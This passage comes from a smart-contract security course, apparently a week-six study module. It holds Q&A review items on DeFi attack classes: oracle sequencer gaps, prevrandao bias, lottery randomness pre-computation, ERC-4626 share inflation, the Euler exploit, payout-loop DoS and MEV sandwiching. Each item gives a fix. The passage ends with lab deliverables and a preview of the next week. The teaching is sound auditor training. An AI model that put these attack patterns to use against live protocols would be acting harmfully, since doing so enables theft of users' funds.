  2. Q: On Arbitrum, a protocol reads Chainlink ETH/USD without checking the L2 Sequencer Uptime Feed. What’s the failure mode? A: When the sequencer goes down and recovers, the next Chainlink update reports the new price (potentially far from where it was at downtime). Liquidation flows that fire on the recovery block use this jumped price, causing mass liquidations of users who could not have closed their positions during the downtime. Fix: read the Sequencer Uptime Feed; refuse to consume price for GRACE_PERIOD_TIME (3600s recommended) after sequencer recovery.

  3. Q: Why is block.prevrandao not safe for high-value randomness? A: A block proposer can choose to publish or skip their slot based on whether the resulting prevrandao favors them. Skipping costs them their slot’s MEV/issuance, but if the action’s payoff is larger than one slot’s value, the bias is profitable. Across many proposers and many trials, the attacker selects favorable outcomes at scale. Fix: use Chainlink VRF (verifiable, cryptographically unpredictable).

  4. Q: An attacker pre-computes keccak256(block.timestamp, msg.sender, block.prevrandao) in their own contract, calls into the victim lottery only if the computation favors them, reverts otherwise. What’s the cost per attempt and what’s the defense? A: Cost per attempt is just gas (~30k for the revert-on-loss). Defense: never use locally-computable values as randomness. Use VRF or a commit-reveal scheme where the random is determined after the contract is committed to acting on it.

  5. Q: “We don’t need to worry about flash-loan attacks because we check that the user wasn’t flash-loaning.” Why is this wrong? A: An attacker can use their own capital and execute the same attack graph. Flash loans don’t enable new attacks; they cheapen existing ones. The right fix is to make the underlying logic not exploitable at any capital scale.

  6. Q: A custom ERC-4626 vault uses shares = amount * totalSupply / totalAssets with no virtual shares. The first depositor mints 1 share with 1 wei. They then transfer 1,000 USDC directly to the vault. What happens to the next depositor? A: A subsequent depositor of less than 1,000 USDC receives 0 shares (rounded down). Their deposit goes to the vault but they receive nothing — effectively donating to the attacker, who holds the only share and can redeem to capture all assets. Fix: OpenZeppelin ERC4626 with virtual shares + _decimalsOffset() >= 6 (for 6-decimal USDC).

  7. Q: The Euler 2023 exploit relied on a donateToReserves function. Describe the bug. A: The function burned eTokens (collateral receipts) but not dTokens (debt receipts) for the donor, and didn’t re-check the donor’s health factor. An attacker could donate themselves into under-collateralization on purpose, triggering Euler’s dynamic-liquidation incentive (which gave huge bonuses at very low health). Self-liquidating then captured the discount as profit. Fix: any state-changing action on a leveraged position must re-check solvency before returning.

  8. Q: A contract uses for (uint i = 0; i < users.length; i++) users[i].call{value: 1 ether}(""); in a payout function. What’s the DoS risk and the fix? A: Any user can register an address whose receive() reverts, causing the whole loop to revert and bricking payouts for all users. Fix: pull pattern — store pending balances in a mapping, let each user call claim() themselves. Each user’s revert affects only themselves.

  9. Q: A function computes fee = amount / 10000 * feeBps. What’s wrong, and how do you fix it without overflow risk? A: Division before multiplication causes precision loss — amounts under 10,000 yield zero fee. Fix: fee = amount * feeBps / 10000, ideally via Math.mulDiv(amount, feeBps, 10000) to use 512-bit intermediate arithmetic and avoid overflow when amount * feeBps > 2^256.

  10. Q: A protocol on mainnet recommends users submit transactions to the public mempool. The protocol has a swap function with default-1% slippage in the front-end. Identify two MEV-related findings. A: (1) Public mempool exposure: users’ swaps are visible to sandwich bots, who can extract up to the slippage limit on every trade. Recommend Flashbots Protect (or equivalent private RPC) for front-end submission. (2) 1% default slippage is loose — sandwich attackers extract exactly that. Either tighten the default (e.g., 0.1–0.5% with user override), use a private mempool to make sandwich infeasible, or integrate with a batch auction (CoW, Uniswap X) that eliminates intra-batch sandwich.


13. Week 06 Deliverables

  • Lab 1 (spot oracle manipulation) PoC runs; patched Chainlink version passes the negative test.
  • Lab 2 (insecure-randomness lottery) PoC runs; VRF-patched version compiles.
  • Lab 3 (ERC-4626 inflation) PoC drains a victim; OZ-based patched vault prevents it.
  • Master audit checklist updated with all items from §10.
  • Notes file: written walkthrough of the bZx attack from a real post-mortem you read, in your own words, with the manipulation-cost calculation.
  • Personal “oracle inventory” exercise: pick a real DeFi protocol (e.g., Aave V3, Morpho, Compound III) and list every oracle dependency, its source, freshness threshold, and fallback. Note any concern.

14. Where this leads

Next week: Tuan-07-Token-Standards-Integration-Risk. The vulnerability vocabulary from Week 05 (execution-order) and Week 06 (value/time/economic) combines with token quirks — fee-on-transfer, rebasing, ERC-777 hooks, ERC-721/1155 callbacks, weird tokens, Permit2 integration — to produce the exploit shape that dominates 2023–2024 (Cream / Iron Bank / Penpie / Curve-Vyper). Most modern compound bugs are “Week 05 reentrancy variant” × “Week 06 oracle/rounding subtlety” × “Week 07 token quirk”.

Then Phase 3 opens with Tuan-08-DeFi-Security-AMM-Lending-Vault, where you apply all three weeks to the actual protocol architectures (AMM, lending, vault, perp). By that point, the lens “every value the contract reads is a trust assumption, and every trust assumption can be priced” should fire automatically every time you open a new codebase.

The auditor stance you should now hold: most novel exploits are old bug classes pointed at a new function. Your job is not to memorize incidents; it’s to internalize the classes deeply enough that you recognize an unfamiliar instance in 30 seconds.


Last updated: 2026-05-16 See also: Roadmap · References · Tuan-05-Vulnerability-Classes-Part-1 · Tuan-07-Token-Standards-Integration-Risk · Tuan-08-DeFi-Security-AMM-Lending-Vault · Tuan-09-Oracle-MEV-Economic-Attack · Case-bZx-Price-Manipulation-2020 · Case-Harvest-Finance-2020 · Case-Beanstalk-Governance-2022 · Case-Euler-Finance-2023 · MOC-Web3-Security-Mastery